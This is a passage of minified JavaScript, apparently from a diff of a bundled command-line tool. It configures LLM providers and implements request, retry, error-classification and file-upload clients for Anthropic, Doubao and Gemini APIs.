,"review-grsai-3.8":{provider:"grsai",model:"gemini-3.8-flash"},"review-grsai-3.7":{provider:"grsai",model:"gemini-3.7-flash"},"review-grsai-3.6":{provider:"grsai",model:"gemini-3.6-flash"},reskin:{provider:"google-gemini",model:"gemini-3.8-flash"},"reskin-claude":{provider:"gw-anthropic",model:"claude-opus-5-5-nnyy-offical"}},tasks:{"synopsis.chunk":"synopsis","synopsis.episode":"synopsis","synopsis.arc":"synopsis","synopsis.script-overview":"synopsis","ingest.body-start":"ingest-low","ingest.arc-summary":"ingest-low","ingest.text-normalize":"ingest-low","ingest.mention-resolve":"ingest-low","ingest.asset-recall":"ingest-low","ingest.asset-audit":"ingest-normalize","ingest.episode-assets":"ingest-normalize","ingest.name-fix":"ingest-normalize","ingest.video-serial":"ingest-video","ingest.comic-serial":"ingest-comic"},source:"builtin",sourcePath:null};function cx(){let e=(process.env.PROJECT_LITELLM_GATEWAY_BASE_URL??"").trim(),t=e?Gd(e,"PROJECT_LITELLM_GATEWAY_BASE_URL"):null;return{...Hn,providers:{...Hn.providers,gw:{...Hn.providers.gw,baseUrl:t},"gw-anthropic":{...Hn.providers["gw-anthropic"],baseUrl:t?t.replace(/\/v1\/?$/,""):null},"google-gemini":{...Hn.providers["google-gemini"]},nnyyai:{...Hn.providers.nnyyai},"nnyyai-ci":{...Hn.providers["nnyyai-ci"]},grsai:{...Qn}},models:{...Hn.models},tasks:{...Hn.tasks}}}function dx(){let e=(process.env.XDG_CONFIG_HOME??"").trim();return e?Br.join(e,"scriptctl","llm.yaml"):Br.join($f.homedir(),".config","scriptctl","llm.yaml")}function $d(e){if(!Kr.existsSync(e))throw ve("LLM configuration file does not exist.",[e]);let t=XE(Kr.readFileSync(e,"utf-8"),{uniqueKeys:!0});if(t.errors.length>0)throw ve("LLM configuration YAML is invalid.",t.errors.map(o=>o.message));let n=t.toJS();return ax(n,Br.resolve(e))}function bo(e){let t=(e??"").trim();if(t)return $d(t);let n=(process.env.SCRIPTCTL_LLM_CONFIG??"").trim();if(n)return $d(n);let o=dx();return Kr.existsSync(o)?$d(o):cx()}import*as Xf from"node:crypto";import*as Zd from"node:fs";import ux,{APIConnectionError as fx,APIConnectionTimeoutError as mx,APIError as gx,APIUserAbortError as hx}from"@anthropic-ai/sdk";var Kd=1e8;function px(e){switch(e){case"auth":return{failure_type:"authentication",failure_code:"authentication_failed"};case"permission_denied":return{failure_type:"authorization",failure_code:"permission_denied"};case"endpoint":return{failure_type:"provider",failure_code:"resource_not_found"};case"network":return{failure_type:"network",failure_code:"network_failed"};case"timeout":return{failure_type:"timeout",failure_code:"request_timeout"};case"rate_limited":return{failure_type:"rate_limit",failure_code:"rate_limited"};case"request_failed":return{failure_type:"provider",failure_code:"request_rejected"};case"truncated":return{failure_type:"response",failure_code:"output_truncated"};case"content_filtered":return{failure_type:"policy",failure_code:"content_blocked"};case"empty_response":return{failure_type:"response",failure_code:"empty_response"};case"invalid_response":return{failure_type:"response",failure_code:"malformed_response"};case"cancelled":return{failure_type:"cancelled",failure_code:"cancelled"}}}var T=class extends Error{code;retryable;details;failure;modelFailures;attempts;usage;constructor(t,n,o={}){super(n),this.name="LlmTransportError",this.code=t,this.retryable=o.retryable??!1,this.details=o.details??[],this.attempts=o.attempts??1,this.usage=o.usage??{},this.failure=Ut(o.classification??px(t),{retryable:this.retryable,message:n,...o.context,...this.details.length>0?{details:this.details}:{}}),this.modelFailures=o.modelFailures??[]}};function lx(e){return new Promise(t=>setTimeout(t,e))}function Xt(e={},t={}){let n=c=>e[c]===void 0&&t[c]===void 0?void 0:(e[c]??0)+(t[c]??0),o=n("inputTokens"),i=n("outputTokens"),r=n("cachedInputTokens"),s=n("cacheCreationTokens");return{...o!==void 0?{inputTokens:o}:{},...i!==void 0?{outputTokens:i}:{},...r!==void 0?{cachedInputTokens:r}:{},...s!==void 0?{cacheCreationTokens:s}:{}}}async function en(e,t){let n={};for(let o=1;o<=e;o+=1)try{return{value:await t(),attempts:o,failedUsage:n}}catch(i){if(i instanceof T&&(n=Xt(n,i.usage),i.attempts=o,i.usage=n),!(i instanceof T)||!i.retryable||o===e)throw i;await lx(Math.min(3e4,1e3*2**(o-1)))}throw new Error("unreachable retry state")}function Df(e){let t=e.usage;if(!t)return{};let n=t.cache_read_input_tokens??0,o=t.cache_creation_input_tokens??0;return{inputTokens:(t.input_tokens??0)+n+o,outputTokens:t.output_tokens??0,cachedInputTokens:n,cacheCreationTokens:o}}function Gf(e){if(e instanceof T)return e;if(e instanceof hx)return new T("request_failed","Anthropic request was aborted.");if(e instanceof mx)return new T("timeout","Anthropic request timed out.",{retryable:!0});if(e instanceof fx)return new T("request_failed","Anthropic connection failed.",{retryable:!0,details:[e.message.slice(0,500)]});if(e instanceof gx){let n=e.status??0,o=n===408||n===429||n>=500,i=n===401||n===403?"auth":n===429?"rate_limited":"request_failed";return new T(i,"Anthropic request failed.",{retryable:o,details:[`status: ${n}`,e.message.slice(0,500)]})}let t=e instanceof Error?e.message:String(e);return new T("request_failed","Anthropic request failed.",{details:[t.slice(0,500)]})}var Ws=class{constructor(t,n,o){this.provider=t;this.model=n;let i={apiKey:o};t.baseUrl&&(i.baseURL=t.baseUrl),this.client=new ux({...i,maxRetries:0})}provider;model;client;params(t){let n={model:this.model.model,max_tokens:t.maxOutputTokens,stream:!1,messages:[{role:"user",content:t.user}]};return t.system.trim()&&(n.system=t.system),this.model.thinkingBudgetTokens!==void 0&&(n.thinking={type:"enabled",budget_tokens:this.model.thinkingBudgetTokens}),n}async generateText(t){let n=await en(this.provider.maxAttempts,async()=>{try{let o=await this.client.messages.create(this.params(t),{timeout:this.provider.timeoutMs,signal:t.signal}),i=Df(o);if(o.stop_reason==="max_tokens")throw new T("truncated","Provider output was truncated.",{usage:i});if(o.stop_reason==="refusal")throw new T("content_filtered","Provider filtered the response.",{usage:i});let r=o.content.filter(s=>s.type==="text").map(s=>s.text).join(`
145
+ `).trim();if(!r)throw new T("empty_response","Provider returned an empty text response.",{usage:i});return{text:r,finishReason:o.stop_reason??"",usage:i,raw:o}}catch(o){throw Gf(o)}});return{...n.value,attempts:n.attempts,usage:Xt(n.failedUsage,n.value.usage)}}async generateTool(t){let n=await en(this.provider.maxAttempts,async()=>{try{let o={name:t.tool.name,description:t.tool.description,input_schema:{type:"object",...t.tool.inputSchema}},i=await this.client.messages.create({...this.params(t),tools:[o],tool_choice:{type:"tool",name:t.tool.name,disable_parallel_tool_use:!0}},{timeout:this.provider.timeoutMs,signal:t.signal}),r=Df(i);if(i.stop_reason==="max_tokens")throw new T("truncated","Provider tool output was truncated.",{usage:r});if(i.stop_reason==="refusal")throw new T("content_filtered","Provider filtered the response.",{usage:r});let s=i.content.find(c=>c.type==="tool_use"&&c.name===t.tool.name);if(!s||s.type!=="tool_use")throw new T("invalid_response","Provider did not return the required tool call.",{usage:r});return{input:s.input,finishReason:i.stop_reason??"",usage:r,raw:i}}catch(o){throw Gf(o)}});return{...n.value,attempts:n.attempts,usage:Xt(n.failedUsage,n.value.usage)}}};import*as Qd from"node:fs";import*as Fd from"node:path";import{File as Sx}from"node:buffer";import{Agent as Ix,fetch as ea,FormData as Ax}from"undici";function yx(e){return typeof e=="object"&&e!==null}function jd(e){let t=[],n=new Set,o=e;for(;yx(o)&&!n.has(o);)n.add(o),t.push(o),o=o.cause;return t}function Xs(e){for(let t of jd(e)){if(typeof t.status=="number")return t.status;if(typeof t.statusCode=="number")return t.statusCode}return null}function wx(e){for(let t of jd(e))if(typeof t.code=="string")return t.code}function _x(e){for(let t of jd(e))if(typeof t.name=="string")return t.name}function Ex(e){let t=_x(e);return t==="AbortError"||t==="TimeoutError"||t==="RequestTimeoutError"||t==="APIConnectionTimeoutError"}function xx(e){return e?["ENOTFOUND","EAI_AGAIN"].includes(e)?{failure_type:"network",failure_code:"dns_failed"}:e==="ECONNREFUSED"?{failure_type:"network",failure_code:"connection_refused"}:["ECONNRESET","EPIPE","UND_ERR_SOCKET"].includes(e)?{failure_type:"network",failure_code:"connection_reset"}:["ENETUNREACH","EHOSTUNREACH"].includes(e)?{failure_type:"network",failure_code:"network_unreachable"}:e.startsWith("ERR_TLS_")||e.startsWith("ERR_SSL_")||e.startsWith("CERT_")||["DEPTH_ZERO_SELF_SIGNED_CERT","SELF_SIGNED_CERT_IN_CHAIN","UNABLE_TO_VERIFY_LEAF_SIGNATURE"].includes(e)?{failure_type:"network",failure_code:"tls_failed"}:["ETIMEDOUT","UND_ERR_CONNECT_TIMEOUT"].includes(e)?{failure_type:"timeout",failure_code:"connect_timeout"}:{failure_type:"network",failure_code:"network_failed"}:{failure_type:"network",failure_code:"network_failed"}}function ii(e,t,n,o,i={}){if(t?.aborted)return new T("cancelled",n,{details:[o],classification:{failure_type:"cancelled",failure_code:"cancelled"},context:i});let r=wx(e),s=Ex(e)?{failure_type:"timeout",failure_code:"request_timeout"}:xx(r),c=s.failure_type==="timeout"?"timeout":"network";return new T(c,n,{retryable:!0,details:[o],classification:s,context:{...i,...r?{system_code:r}:{}}})}function ri(e,t,n,o={}){let i,r,s=!1;return e===401?(i="auth",r={failure_type:"authentication",failure_code:"authentication_failed"}):e===403?(i="permission_denied",r={failure_type:"authorization",failure_code:"permission_denied"}):e===404?(i="endpoint",r={failure_type:"provider",failure_code:"resource_not_found"}):e===408?(i="timeout",r={failure_type:"timeout",failure_code:"request_timeout"},s=!0):e===413&&o.operation==="upload"?(i="request_failed",r={failure_type:"media",failure_code:"media_too_large"}):e===415&&o.operation==="upload"?(i="request_failed",r={failure_type:"media",failure_code:"unsupported_media"}):e===429?(i="rate_limited",r={failure_type:"rate_limit",failure_code:"rate_limited"},s=!0):e>=500?(i="request_failed",r={failure_type:"provider",failure_code:"provider_unavailable"},s=!0):o.operation==="upload"?(i="request_failed",r={failure_type:"media",failure_code:"media_upload_failed"}):(i="request_failed",r={failure_type:"provider",failure_code:"request_rejected"}),new T(i,t,{retryable:s,details:[`status: ${e}`,n],classification:r,context:{...o,http_status:e}})}var kx=2e3;function bx(e){return new Promise(t=>setTimeout(t,e))}function zd(e,t,n,o){if(e instanceof T)return e;let i=e instanceof Error?e.message:String(e),r=Xs(e),s={provider:"doubao",model:o,operation:n};return r!==null?ri(r,`Doubao ${n} failed.`,i.slice(0,500),s):ii(e,t,`Doubao ${n} failed.`,i.slice(0,500),s)}function vx(e){if(!e)return{};let t=n=>typeof n=="number"?n:void 0;return{inputTokens:t(e.input_tokens),outputTokens:t(e.output_tokens)}}function Ox(e){let t=[];for(let n of e.output??[])if(n.type==="message")for(let o of n.content??[])o.type==="output_text"&&typeof o.text=="string"&&t.push(o.text);return t.join("").trim()}var ta=class{constructor(t,n,o,i,r,s){this.model=t;this.timeoutMs=n;this.maxAttempts=o;this.client=s??Rx(i,r,n)}model;timeoutMs;maxAttempts;client;async run(t){let{value:n}=await en(this.maxAttempts,async()=>{try{return await this.client.uploadFile({filePath:t.localPath,mimeType:t.localMime,fps:t.fps})}catch(i){throw zd(i,t.signal,"upload",this.model)}});if(!n.id)throw new T("invalid_response","Doubao upload returned no file id.");let o=await this.pollActive(n.id,t.signal);try{return await this.generateOnce(o,t)}finally{await this.client.deleteFile({id:o}).catch(()=>{})}}async pollActive(t,n){let o=Date.now()+this.timeoutMs,i="processing";for(;i==="processing"||i==="";){if(n?.aborted)throw new T("cancelled","Doubao upload aborted.",{context:{provider:"doubao",model:this.model,operation:"file_poll"}});if(Date.now()>=o)throw new T("timeout","Doubao file processing timed out.",{retryable:!0,classification:{failure_type:"timeout",failure_code:"media_processing_timeout"},context:{provider:"doubao",model:this.model,operation:"file_poll"}});await bx(kx);let r;try{r=await this.client.getFile({id:t})}catch(s){throw zd(s,n,"file_poll",this.model)}i=(r.status??"").toLowerCase()}if(i==="failed"||i==="error")throw new T("invalid_response","Doubao file processing failed.",{classification:{failure_type:"media",failure_code:"media_processing_failed"},context:{provider:"doubao",model:this.model,operation:"file_poll"}});return t}async generateOnce(t,n){let o={model:this.model,input:[{role:"user",content:[{type:"input_video",file_id:t},{type:"input_text",text:n.user}]}]};return n.system?.trim()&&(o.instructions=n.system),n.responseJsonSchema&&(o.text={format:{type:"json_schema",name:"video_serial",schema:n.responseJsonSchema}}),this.generateResponse(o,n.signal,!!n.responseJsonSchema,n.acceptsText)}async generateText(t){let n=this.textParams(t);return t.responseFormat&&(n.text={format:{type:t.responseFormat}}),this.generateResponse(n,t.signal,!!t.responseFormat)}async generateDocument(t,n){let o=t.media.kind==="base64"?t.media.data:n?Qd.readFileSync(n).toString("base64"):void 0;if(!o)throw new T("invalid_response","Doubao PDF recovery requires the original document bytes.");let i={model:this.model,input:[{role:"user",content:[{type:"input_file",filename:n?Fd.basename(n):"document.pdf",file_data:`data:application/pdf;base64,${o}`},{type:"input_text",text:t.user}]}]};return t.system?.trim()&&(i.instructions=t.system),t.responseJsonSchema&&(i.text={format:{type:"json_schema",name:"document",schema:t.responseJsonSchema}}),this.generateResponse(i,t.signal,!!t.responseJsonSchema)}async generateTool(t){let n=this.textParams(t);n.text={format:{type:"json_schema",name:t.tool.name,description:t.tool.description,schema:t.tool.inputSchema}};let o=await this.generateResponse(n,t.signal,!0);return{input:JSON.parse(o.text),finishReason:o.finishReason,attempts:o.attempts,usage:o.usage,raw:o.raw}}textParams(t){return{model:this.model,instructions:t.system,input:[{role:"user",content:[{type:"input_text",text:t.user}]}]}}async generateResponse(t,n,o,i){let{value:r,attempts:s,failedUsage:c}=await en(this.maxAttempts,async()=>{let a;try{a=await this.client.createResponse(t,n)}catch(f){throw zd(f,n,"generate",this.model)}let d=(a.status??"").toLowerCase(),p=vx(a.usage);if(d==="incomplete"){let f=a.incomplete_details?.reason??"unknown";throw f==="max_output_tokens"||f==="length"?new T("truncated","Doubao output was truncated.",{usage:p}):new T("content_filtered",`Doubao response incomplete (reason=${f}).`,{usage:p})}let l=Ox(a);if(!l)throw new T("empty_response","Doubao returned an empty response.",{retryable:!0,usage:p});if(i&&!i(l))throw new T("invalid_response","Doubao response does not match the requested output format.",{retryable:!0,usage:p,context:{provider:"doubao",model:this.model,operation:"generate"}});if(o)try{JSON.parse(l)}catch{throw new T("invalid_response","Doubao returned malformed JSON for a structured response.",{retryable:!0,usage:p,context:{provider:"doubao",model:this.model,operation:"generate"}})}return{text:l,usage:p,raw:a}});return{text:r.text,finishReason:"STOP",attempts:s,usage:Xt(c,r.usage),raw:r.raw}}},Hd=class extends Error{constructor(n,o){super(o);this.status=n;this.name="HttpError"}status};function Rx(e,t,n){let o=t.replace(/\/$/,""),i={Authorization:`Bearer ${e}`},r=new Ix({headersTimeout:n,bodyTimeout:n});function s(a){let d=AbortSignal.timeout(n);return a?AbortSignal.any([a,d]):d}async function c(a){let d=await a.text().catch(()=>"");throw new Hd(a.status,d.slice(0,500))}return{async uploadFile({filePath:a,mimeType:d,fps:p}){let l=new Ax,f=Qd.readFileSync(a);l.append("file",new Sx([f],Fd.basename(a),{type:d})),l.append("purpose","user_data"),l.append("preprocess_configs[video][fps]",String(p));let u=await ea(`${o}/files`,{method:"POST",headers:i,body:l,signal:s(),dispatcher:r});return u.ok||await c(u),await u.json()},async getFile({id:a}){let d=await ea(`${o}/files/${a}`,{headers:i,signal:s(),dispatcher:r});return d.ok||await c(d),await d.json()},async createResponse(a,d){let p=await ea(`${o}/responses`,{method:"POST",headers:{...i,"Content-Type":"application/json"},body:JSON.stringify(a),signal:s(d),dispatcher:r});return p.ok||await c(p),await p.json()},async deleteFile({id:a}){let d=await ea(`${o}/files/${a}`,{method:"DELETE",headers:i,signal:s(),dispatcher:r});d.ok||await c(d)}}}import{GoogleAuth as Mx}from"google-auth-library";function na(){let e=(process.env.VERTEX_PROJECT_ID||process.env.GOOGLE_CLOUD_PROJECT)?.trim();if(!e)throw new Error("VERTEX_PROJECT_ID or GOOGLE_CLOUD_PROJECT is required for official Vertex AI");return e}var Bf=new Mx({scopes:["https://www.googleapis.com/auth/cloud-platform"]});function jr(){return process.env.VERTEX_LOCATION||process.env.GOOGLE_CLOUD_LOCATION||"global"}function Jf(){let e=jr();return`https://${e==="global"?"aiplatform":`${e}-aiplatform`}.googleapis.com`}import*as Qf from"node:fs";import{createRequire as $x}from"node:module";import*as oa from"node:fs";import*as Lx from"node:http";import*as Nx from"node:https";import{HttpsProxyAgent as Ux}from"https-proxy-agent";var jf="https://generativelanguage.googleapis.com";function Px(e,t){let n=new URL(e??jf);return n.pathname=`${n.pathname.replace(/\/+$/,"")}/upload/v1beta/files`,n.searchParams.set("key",t),n}function Cx(e,t){let n=new URL(t??jf),o=new URL(e,n);if(!t)return o;o.protocol=n.protocol,o.host=n.host;let i=n.pathname.replace(/\/+$/,"");return i&&o.pathname!==i&&!o.pathname.startsWith(`${i}/`)&&(o.pathname=`${i}/${o.pathname.replace(/^\/+/,"")}`),o}function Hi(e,t){if(!t)return e;let n=e.split(t).join("[REDACTED]"),o=encodeURIComponent(t);return o!==t&&(n=n.split(o).join("[REDACTED]")),n}function Tx(e){return e?new Ux(e):void 0}function Kf(e,t,n,o){return new Promise((i,r)=>{let c=(e.protocol==="http:"?Lx:Nx).request({...t,agent:e.protocol==="https:"?t.agent:void 0,protocol:e.protocol,hostname:e.hostname,port:e.port||void 0,path:`${e.pathname}${e.search}`},a=>{let d="";a.on("data",p=>d+=p),a.on("end",()=>i({status:a.statusCode??0,headers:a.headers,body:d}))});if(c.on("error",r),o){if(o.aborted){c.destroy(new Error("aborted"));return}o.addEventListener("abort",()=>c.destroy(new Error("aborted")),{once:!0})}n&&typeof n.pipe=="function"?n.pipe(c):(n&&c.write(n),c.end())})}function Vx(e,t){let n=e[t];return Array.isArray(n)?n[0]??"":n??""}async function zf(e){let t=oa.statSync(e.filePath).size,o={agent:Tx(e.proxyUrl??""),timeout:e.timeoutMs},i=Px(e.baseUrl,e.apiKey),r=l=>Hi(l,e.apiKey),s;try{s=await Kf(i,{...o,method:"POST",headers:{"X-Goog-Upload-Protocol":"resumable","X-Goog-Upload-Command":"start","X-Goog-Upload-Header-Content-Length":String(t),"X-Goog-Upload-Header-Content-Type":e.mimeType,"Content-Type":"application/json"}},JSON.stringify({file:{}}),e.signal)}catch(l){let f=r(l instanceof Error?l.message:String(l));throw ii(l,e.signal,"Gemini upload start failed.",f,{operation:"upload"})}let c=Vx(s.headers,"x-goog-upload-url");if(s.status<200||s.status>=300)throw ri(s.status,"Gemini upload start failed.",r(s.body).slice(0,300),{operation:"upload"});if(!c)throw new T("invalid_response","Gemini upload start returned no upload URL.",{details:[r(s.body).slice(0,300)],context:{operation:"upload",http_status:s.status}});let a=Cx(c,e.baseUrl),d;try{d=await Kf(a,{...o,method:"POST",headers:{"Content-Length":String(t),"X-Goog-Upload-Offset":"0","X-Goog-Upload-Command":"upload, finalize"}},oa.createReadStream(e.filePath),e.signal)}catch(l){let f=r(l instanceof Error?l.message:String(l));throw ii(l,e.signal,"Gemini upload transfer failed.",f,{operation:"upload"})}if(d.status<200||d.status>=300)throw ri(d.status,"Gemini upload transfer failed.",r(d.body).slice(0,300),{operation:"upload"});let p;try{p=JSON.parse(d.body)}catch{throw new T("invalid_response","Gemini upload returned invalid JSON.",{details:[r(d.body).slice(0,300)]})}if(!p.file)throw new T("invalid_response","Gemini upload returned no file.",{details:[r(d.body).slice(0,300)]});return p.file}var Dx=new Set(["SAFETY","PROHIBITED_CONTENT","RECITATION","BLOCKLIST","SPII","IMAGE_SAFETY","IMAGE_PROHIBITED_CONTENT","IMAGE_RECITATION","ESCALATION"]),Gx=new Set(["LANGUAGE","OTHER","MALFORMED_FUNCTION_CALL","IMAGE_OTHER","NO_IMAGE","UNEXPECTED_TOOL_CALL","TOO_MANY_TOOL_CALLS","MISSING_THOUGHT_SIGNATURE","MALFORMED_RESPONSE"]);function Yd(e){switch(e){case"SAFETY":case"PROHIBITED_CONTENT":case"BLOCKLIST":case"SPII":case"RECITATION":case"IMAGE_SAFETY":case"IMAGE_PROHIBITED_CONTENT":case"IMAGE_RECITATION":case"ESCALATION":case"OTHER":return e;case"":case"BLOCK_REASON_UNSPECIFIED":case"FINISH_REASON_UNSPECIFIED":return"UNSPECIFIED";default:return"UNKNOWN"}}function Hf(e){if(e?.length)return e.map(t=>({category:t.category??"UNSPECIFIED",probability:t.probability??"UNSPECIFIED",blocked:t.blocked??!1}))}function Bx(e){if(typeof e!="object"||e===null)return{};let t=e,n=s=>typeof s=="number"?s:void 0,o=n(t.candidatesTokenCount),i=n(t.thoughtsTokenCount),r=n(t.cachedContentTokenCount);return{inputTokens:n(t.promptTokenCount),outputTokens:o===void 0&&i===void 0?void 0:(o??0)+(i??0),...r!==void 0?{cachedInputTokens:r}:{}}}function Jx(e){return/-c\d+$/.test(e)}function Kx(e){let t=e.indexOf("{"),n=e.lastIndexOf("}");if(t<0||n<t)throw new SyntaxError("JSON object not found");return e.slice(t,n+1)}var jx=2e3;function zx(e){return new Promise(t=>setTimeout(t,e))}function qd(e,t,n,o,i,r){if(e instanceof T)return new T(e.code,Hi(e.message,o),{retryable:e.retryable,details:e.details.map(d=>Hi(d,o)),attempts:e.attempts,usage:e.usage,classification:Ui(e.failure),context:{...Ir(e.failure),provider:i,model:r,operation:n},modelFailures:e.modelFailures});let s=Hi(e instanceof Error?e.message:String(e),o),c=Xs(e),a={provider:i,model:r,operation:n};return c!==null?ri(c,`Gemini ${n} failed.`,s.slice(0,500),a):ii(e,t,`Gemini ${n} failed.`,s.slice(0,500),a)}var Qi=class{constructor(t,n,o,i){this.provider=t;this.model=n;this.apiKey=o;this.client=i??Qx(o,t.timeoutMs,t.baseUrl,t.protocol==="google-vertex")}provider;model;apiKey;client;async prepare(t,n,o,i){return o==="base64"||this.provider.protocol==="google-vertex"?{kind:"base64",data:Qf.readFileSync(t,"base64"),mimeType:n}:{kind:"file-api",file:await this.uploadFile(t,n,i)}}async uploadFile(t,n,o){let{value:i}=await en(this.provider.maxAttempts,async()=>{try{return await this.client.files.upload({file:t,config:{mimeType:n}})}catch(s){throw qd(s,o,"upload",this.apiKey,this.model.provider,this.model.model)}}),r=await this.pollActive(i,o);if(!r.name||!r.uri)throw new T("invalid_response","Gemini upload returned no file reference.",{context:{provider:this.model.provider,model:this.model.model,operation:"upload"}});return{name:r.name,uri:r.uri,mimeType:r.mimeType??n}}async pollActive(t,n){let o=t,i=Date.now()+this.provider.timeoutMs;for(;(o.state??"").toUpperCase()==="PROCESSING";){if(n?.aborted)throw new T("cancelled","Gemini upload aborted.",{context:{provider:this.model.provider,model:this.model.model,operation:"file_poll"}});if(Date.now()>=i)throw new T("timeout","Gemini file processing timed out.",{retryable:!0,classification:{failure_type:"timeout",failure_code:"media_processing_timeout"},context:{provider:this.model.provider,model:this.model.model,operation:"file_poll"}});if(await zx(jx),!o.name)throw new T("invalid_response","Gemini upload returned no file name to poll.",{context:{provider:this.model.provider,model:this.model.model,operation:"file_poll"}});try{o=await this.client.files.get({name:o.name})}catch(r){throw qd(r,n,"file_poll",this.apiKey,this.model.provider,this.model.model)}}if((o.state??"").toUpperCase()==="FAILED")throw new T("invalid_response","Gemini file processing failed.",{details:[Hi(o.error?.message??"unknown media error",this.apiKey)],classification:{failure_type:"media",failure_code:"media_processing_failed"},context:{provider:this.model.provider,model:this.model.model,operation:"file_poll"}});return o}async generateMedia(t,n){let o=!!t.responseJsonSchema&&Jx(this.model.model),i={mediaResolution:"MEDIA_RESOLUTION_HIGH"},r=[t.system?.trim(),o?`\u8F93\u51FA\u5FC5\u987B\u662F\u4E00\u4E2A\u53EF\u89E3\u6790\u7684 JSON \u5BF9\u8C61\u3002\u53EA\u8FD4\u56DE JSON\uFF0C\u4E0D\u8981\u8F93\u51FA\u4EFB\u4F55\u989D\u5916\u6587\u5B57\u6216 Markdown \u4EE3\u7801\u5757\u3002
146
146
  \u4EE5\u4E0B\u662F\u5B8C\u6574\u8F93\u51FA JSON Schema\u3002\u4E25\u683C\u9075\u5B88\u6240\u6709\u5C42\u7EA7\u7684\u5B57\u6BB5\u540D\u3001\u7C7B\u578B\u3001required\u3001\u679A\u4E3E\u3001\u683C\u5F0F\u7EA6\u675F\u548C description\uFF1B\u4E0D\u5F97\u81EA\u884C\u6539\u540D\u6216\u7701\u7565\u5FC5\u586B\u5B57\u6BB5\u3002\u8FD4\u56DE\u7B26\u5408\u8BE5\u5B9A\u4E49\u7684\u6570\u636E\u5BF9\u8C61\uFF0C\u4E0D\u8981\u8FD4\u56DE schema \u672C\u8EAB\u3002
147
147
  <output_json_schema>
148
148
  ${JSON.stringify(t.responseJsonSchema,null,2)}
@@ -150,129 +150,129 @@ ${JSON.stringify(t.responseJsonSchema,null,2)}
150
150
 
151
151
  `);if(r&&(i.systemInstruction=r),t.responseJsonSchema&&!o){i.responseMimeType="application/json";let p=n?this.provider.videoResponseSchemaField:this.provider.documentResponseSchemaField;i[p??"responseJsonSchema"]=t.responseJsonSchema}let s={model:this.model.model,contents:[{role:"user",parts:[t.media.kind==="file-api"?{fileData:{fileUri:t.media.file.uri,mimeType:t.media.file.mimeType},...n?{videoMetadata:n}:{}}:{inlineData:{data:t.media.data,mimeType:t.media.mimeType},...n?{videoMetadata:n}:{}},{text:o?`${t.user}
152
152
 
153
- \u53EA\u8FD4\u56DE JSON \u5BF9\u8C61\u672C\u8EAB\uFF0C\u4E0D\u8981\u8F93\u51FA\u4EFB\u4F55\u89E3\u91CA\u3001\u524D\u8A00\u3001Markdown \u4EE3\u7801\u5757\u6216\u5176\u4ED6\u6587\u5B57\u3002`:t.user}]}],config:i},{value:c,attempts:a,failedUsage:d}=await en(this.provider.maxAttempts,async()=>{let p;try{if(this.client.models.generateContentStream){let w="",h={},_=await this.client.models.generateContentStream(s);for await(let x of _)x.text&&(w+=x.text),h={...h,...x,usageMetadata:x.usageMetadata??h.usageMetadata,promptFeedback:x.promptFeedback??h.promptFeedback,candidates:x.candidates??h.candidates};p={...h,text:w}}else p=await this.client.models.generateContent(s)}catch(w){throw Zd(w,t.signal,"generate",this.apiKey,this.model.provider,this.model.model)}let l=p.candidates?.[0],f=l?.finishReason??"",u=p.promptFeedback?.blockReason??"",y=Jx(p.usageMetadata),m={provider:this.model.provider,model:this.model.model,operation:"generate"};if(f==="MAX_TOKENS")throw new T("truncated","Gemini output was truncated.",{usage:y,context:m});if(u)throw new T("content_filtered",`Gemini blocked the prompt (blockReason=${u}).`,{usage:y,classification:{failure_type:"policy",failure_code:"content_blocked"},context:{...m,provider_source:"prompt",provider_reason:qd(u),...qd(u)==="UNKNOWN"?{provider_reason_raw:u}:{},safety_ratings:Qf(p.promptFeedback?.safetyRatings)}});if(Gx.has(f))throw new T("content_filtered",`Gemini filtered the response (finishReason=${f}).`,{usage:y,classification:{failure_type:"policy",failure_code:"content_blocked"},context:{...m,provider_source:"candidate",provider_reason:qd(f),finish_message:l?.finishMessage,safety_ratings:Qf(l?.safetyRatings)}});let g=(p.text??"").trim();if(!g)throw Bx.has(f)?new T("invalid_response",`Gemini returned no usable response (finishReason=${f}).`,{usage:y,context:{...m,provider_reason_raw:f,finish_message:l?.finishMessage}}):new T("empty_response",`Gemini returned an empty response (finishReason=${f||"none"}).`,{retryable:!0,usage:y,context:m});if(t.acceptsText&&!t.acceptsText(g))throw new T("invalid_response","Gemini response does not match the requested output format.",{retryable:!0,usage:y,context:{...m,provider_reason_raw:g.slice(0,200)}});if(!f)throw new T("invalid_response","Gemini stream ended before the response finished.",{retryable:!0,usage:y,context:{...m,provider_reason_raw:"missing_finish_reason"}});if(t.responseJsonSchema)try{let w=o?jx(g):g;return JSON.parse(w),{text:w,finishReason:f,usage:y,raw:p}}catch{throw new T("invalid_response","Gemini returned malformed JSON for a structured media response.",{retryable:!0,usage:y,context:m})}return{text:g,finishReason:f,usage:y,raw:p}});return{text:c.text,finishReason:c.finishReason,attempts:a,usage:Xt(d,c.usage),raw:c.raw}}async release(t,n){if(!(t.kind==="base64"||t.kind==="local-fallback"||t.kind==="local"))try{await this.client.files.delete({name:t.file.name})}catch(o){}}},Qx=Dx(import.meta.url);function Fx(e,t,n,o){let{GoogleGenAI:i}=Qx("@google/genai"),r=new i({...o?{vertexai:!0,project:ia(),location:Hr(),...e?{googleAuthOptions:{apiKey:e}}:{}}:{vertexai:!1,apiKey:e},httpOptions:{timeout:t,...n?{baseUrl:n}:{}}}),s=(process.env.https_proxy??process.env.HTTPS_PROXY??process.env.http_proxy??process.env.HTTP_PROXY??"").trim();return s&&!(process.env.NODE_USE_ENV_PROXY??"").trim()&&process.stderr.write(`\u26A0\uFE0F \u68C0\u6D4B\u5230\u4EE3\u7406 ${s}\uFF0C\u4F46\u672A\u8BBE NODE_USE_ENV_PROXY=1\u3002
153
+ \u53EA\u8FD4\u56DE JSON \u5BF9\u8C61\u672C\u8EAB\uFF0C\u4E0D\u8981\u8F93\u51FA\u4EFB\u4F55\u89E3\u91CA\u3001\u524D\u8A00\u3001Markdown \u4EE3\u7801\u5757\u6216\u5176\u4ED6\u6587\u5B57\u3002`:t.user}]}],config:i},{value:c,attempts:a,failedUsage:d}=await en(this.provider.maxAttempts,async()=>{let p;try{if(this.client.models.generateContentStream){let w="",h={},_=await this.client.models.generateContentStream(s);for await(let x of _)x.text&&(w+=x.text),h={...h,...x,usageMetadata:x.usageMetadata??h.usageMetadata,promptFeedback:x.promptFeedback??h.promptFeedback,candidates:x.candidates??h.candidates};p={...h,text:w}}else p=await this.client.models.generateContent(s)}catch(w){throw qd(w,t.signal,"generate",this.apiKey,this.model.provider,this.model.model)}let l=p.candidates?.[0],f=l?.finishReason??"",u=p.promptFeedback?.blockReason??"",y=Bx(p.usageMetadata),m={provider:this.model.provider,model:this.model.model,operation:"generate"};if(f==="MAX_TOKENS")throw new 